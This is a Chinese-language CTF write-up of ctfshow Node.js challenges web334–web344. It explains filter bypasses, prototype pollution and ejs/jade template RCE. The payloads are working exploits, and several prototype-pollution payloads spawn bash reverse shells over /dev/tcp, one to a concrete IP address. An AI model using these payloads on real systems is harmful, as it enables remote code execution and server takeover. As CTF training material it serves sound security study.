Ctfshow nodejs

Ctfshow nodejs

  • web334(特性)
  • web335(特性)
  • web336(特性)
  • web337(特性)
  • web338(原型链污染)
  • web339(原型链污染)
  • web340(原型链污染)
  • web 341(ejs)
  • web342(jade)
  • web343(jade)
  • web344(特性)

web334(特性)

login.js

var express = require('express');var router = express.Router();var users = require('../modules/user').items;var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});};/* GET home page. */router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password); if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});     }​    req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});        });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}  
});
module.exports = router;

user.js

module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
}

可以看到user.js文件中账号密码都已经给出,我们需要login文件中的判断语句为true

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

我们需要 name的值为 大写的 ‘CTFSHOW’,又要不等于’CTFSHOW’,我们需要利用toUpperCase()方法的特性

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
字符İ会转变为i,字符K会转变为k。

payload:

username:'ctfſhow'password: '123456'

在这里插入图片描述

web335(特性)

execSync是child_process库里用于执行系统命令的一个方法,参数直接是命令

require('child_process').execSync('cat f*').toString()

spawnSync是child_process库里另一个执行系统命令的方法,与上一个方法不同的是,该方法命令和参数是分离的

require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

web336(特性)

?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('cat f*')

这里使用了声明变量拼接绕过,类似于python的模板注入和RCE里的拼接绕过

web337(特性)

题目源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag = 'xxxxxxx';var a = req.query.a;var b = req.query.b;if (a && b && a.length === b.length && a !== b && md5(a + flag) === md5(b + flag)) {res.end(flag);} else {res.render('index', { msg: 'tql' });}
});module.exports = router;

这里要满足以下条件语句

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);
}

需要传入a与b参数,并且它俩的长度要相等,但变量自身不相等,而且它俩和flag拼接到一起后经md5加密的结果也要相等

payload1

?a[0]=1&b[0]=1

这里是传入数组,数组中都只有一个成员故length相等,我理解的是由于不是同一个数组所以两数组也不等,然后md5加密后的结果相等的原因,应该就是数组里的成员是相同的,故加密结果相同

payload2

?a[x]=1&b[x]=2

这里存入的是对象形式,在JavaScript中对象可以当做键值对的容器,类似于python里的字典,然后对象并不具有length属性,故返回为空,从而空空强等于,然后两个对象的成员不同,故不等于

然后加入以拼接的形式输出对象本身的话,只会打印出**[object Object]**这一字符串,并不会打印出成员,如图所示
在这里插入图片描述

故这两个对象拼接flag变量后经md5加密相等

web338(原型链污染)

看题目代码关键部分

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  } 
});

看代码,只要让secert.ctfshow==='36dboy’就能输出flag。最主要的漏洞代码还是copy的一个递归调用函数

function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

它会for循环遍历object2中的键,如果这个键名在object1和object2中都存在,那么就调用copy函数,否则将object2的key赋值给object1。我们可以控制object2,如果object2中的key设置为_proto_,就可以原型链污染了。我们将object2赋值为

{"__proto__":{"ctfshow":"36dboy"}}

我们想让__proto__为键名就必须要json语法格式,不然的话,__proto__就会识别为原型而不是键名,所以在key遍历时也只有ctfshow这个键名了。

web339(原型链污染)

一个demo

function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

运行上面的方法会发现query有了新的值

当变量没有被声明或引用赋值时,便会去上一级Object对象中查找该变量的值

payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
}}

web340(原型链污染)

题目关键部分源码

//app.js
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});
});
 //login.js
var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;   };}utils.copy(user.userinfo,req.body);//这次的目标数组需要往上两层才可以污染到object

和上一题相同都需要利用定义函数的构造函数Function来反弹shell,payload

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}

web 341(ejs)

这道题没了上面可以执行命令的语句,要用到 ejs 模板引擎的RCE漏洞,这个漏洞也是上面几个题的通解(漏洞详细)

重点在ejs库中框起来的这几行
在这里插入图片描述

可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过

但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE

在该题目中需要向上两层才能污染到object

payload

{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}

web342(jade)

该题是jade模板引擎的RCE漏洞(漏洞详细)

payload

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}//同样是向上污染两级

POST发包访问login路由(注意添加红色框内请求头),然后再次随便发一下包即可反弹shell
在这里插入图片描述

web343(jade)

payload

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}//同样是向上污染两级

操作和知识点和上一题相同

web344(特性)

题目源码

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if (req.url.match(/8c|2c|\,/ig)) {res.end('where is flag :)');}var query = JSON.parse(req.query.query);if (query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true) {res.end(flag);}else {res.end('where is flag. :)');}
});

经分析满足该if语句即可得到flag

query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true

可以看出我们传一个符合条件的JSON数据即可,但是该正则将逗号及其相应的URL编码都给禁了

if (req.url.match(/8c|2c|\,/ig)) {res.end('where is flag :)');
}

这是我们要处理的payload,要让其没有逗号

?query={"name":"admin","password":"ctfshow","isVIP":true}

这里要说一个特性,JSON.parse()函数在处理数组时会把数组里的成员都用逗号拼接成一整个字符串,然后进行解析

例如

var a = ['{"name":"admin"','"password":"ctfshow"}'];
var query = JSON.parse(a);
console.log(query);//拼接为['{"name":"admin","password":"ctfshow"}']

输出

{ name: 'admin', password: 'ctfshow' }

所以我们的payload要分开传参,构成数组,以此来绕过逗号,payload为

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}//这里ctfshow写为%63tfshow的目的是前面的双引号经过URL编码后为 %22 然后和字母c组成 2c 被正则过滤,所以要对字母f进行URL编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/94677.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C# 如何将使用的Dll嵌入到.exe应用程序中?

文章目录 前言详细实操简要步骤 前言 有没有想自己开发的exe保留一点神秘,不想让他人知道软件使用了哪些dll; 又或许是客户觉得一个软件里面的dll文件太多了,能不能简单一点,直接双击.exe就可以直接运行了,别搞那么多乱七八糟的。…

微信小程序 选择学期控件 自定义datePicker组件 不复杂

我的时间选择组件在common文件夹里 datePicker组件代码 html: <view class"date_bg_view"> </view> <view class"date_content"><view class"date_title"><image src"/image/icon_close_black.png" clas…

前端生成图片验证码怎么做?

##题记&#xff1a;我们实现一个功能首先想一下我们需要做哪些工作&#xff0c;比如我们需要生成一个随机的图片验证码&#xff0c;我们需要一个就是点击事件获取验证码&#xff0c;通过接口我们去获取图片路径进行渲染就行&#xff0c;这里边还要牵扯一件事情就是获取一个随机…

构建现代应用:Java中的热门架构概览

文章目录 1. 三层架构2. Spring框架3. 微服务架构4. Java EE&#xff08;Enterprise Edition&#xff09;5. 响应式架构6. 大数据架构7. 领域驱动设计&#xff08;Domain-Driven Design&#xff0c;DDD&#xff09;8. 安卓开发架构结论 &#x1f389;欢迎来到Java学习路线专栏~…

在Windows10上编译grpc工程,得到protoc.exe和grpc_cpp_plugin.exe

grpc是google于2015年发布的一款跨进程、跨语言、开源的RPC(远程过程调用)技术。使用C/S模式&#xff0c;在客户端、服务端共享一个protobuf二进制数据。在点对点通信、微服务、跨语言通信等领域应用很广&#xff0c;下面介绍grpc在windows10上编译&#xff0c;这里以编译grpc …

es5的实例__proto__(原型链) prototype(原型对象) {constructor:构造函数}

现在看这张图开始变得云里雾里&#xff0c;所以简单回顾一下 prototype 的基本内容&#xff0c;能够基本读懂这张图的脉络。 先介绍一个基本概念&#xff1a; function Person() {}Person.prototype.name KK;let person1 new Person();在上面的例子中&#xff0c; Person …

开发指导—利用CSS动画实现HarmonyOS动效(一)

注&#xff1a;本文内容分享转载自 HarmonyOS Developer 官网文档 一. CSS 语法参考 CSS 是描述 HML 页面结构的样式语言。所有组件均存在系统默认样式&#xff0c;也可在页面 CSS 样式文件中对组件、页面自定义不同的样式。请参考通用样式了解兼容 JS 的类 Web 开发范式支持的…

YOLOv5模型压缩:综述

YOLOv5模型压缩:综述 AbstractIntroduction剪枝基于ln-范数修剪模型Feature map activationBatch normalization scaling factor (BNSF)First-order derivativeMutual informationGranularity of Pruning非结构化剪枝结构化剪枝基于通道的修剪基于滤波器的修剪基于核的剪枝关于…

在访问一个网页时弹出的浏览器窗口,如何用selenium 网页自动化解决?

相信大家在使用selenium做网页自动化时&#xff0c;会遇到如下这样的一个场景&#xff1a; 在你使用get访问某一个网址时&#xff0c;会在页面中弹出如上图所示的弹出框。 首先想到是利用Alert类来处理它。 然而&#xff0c;很不幸&#xff0c;Alert类处理的结果就是没有结果…

2021年12月 C/C++(六级)真题解析#中国电子学会#全国青少年软件编程等级考试

C/C++编程(1~8级)全部真题・点这里 第1题:电话号码 给你一些电话号码,请判断它们是否是一致的,即是否有某个电话是另一个电话的前缀。比如: Emergency 911 Alice 97 625 999 Bob 91 12 54 26 在这个例子中,我们不可能拨通Bob的电话,因为Emergency的电话是它的前缀,当拨…

【Spring Boot】通过AOP拦截Spring Boot日志并将其存入数据库

文章目录 前言摘要AOP介绍AOP的实现添加依赖配置数据库连接定义日志实体类定义日志拦截器使用AOP拦截日志并保存到数据库中 代码方法介绍测试用例全文小结 前言 在软件开发中&#xff0c;常常需要记录系统运行时的日志。日志记录有助于排查系统问题、优化系统性能、监控操作行…

git 查看当前分支最近一次提交的commit SHA

获取当前分支最近一次commit SHA &#xff08;长度为40个16进制数字的字符&#xff09;命令如下&#xff1a; git rev-parse HEAD 获取简写&#xff08;短&#xff09; commit SHA git rev-parse --short HEAD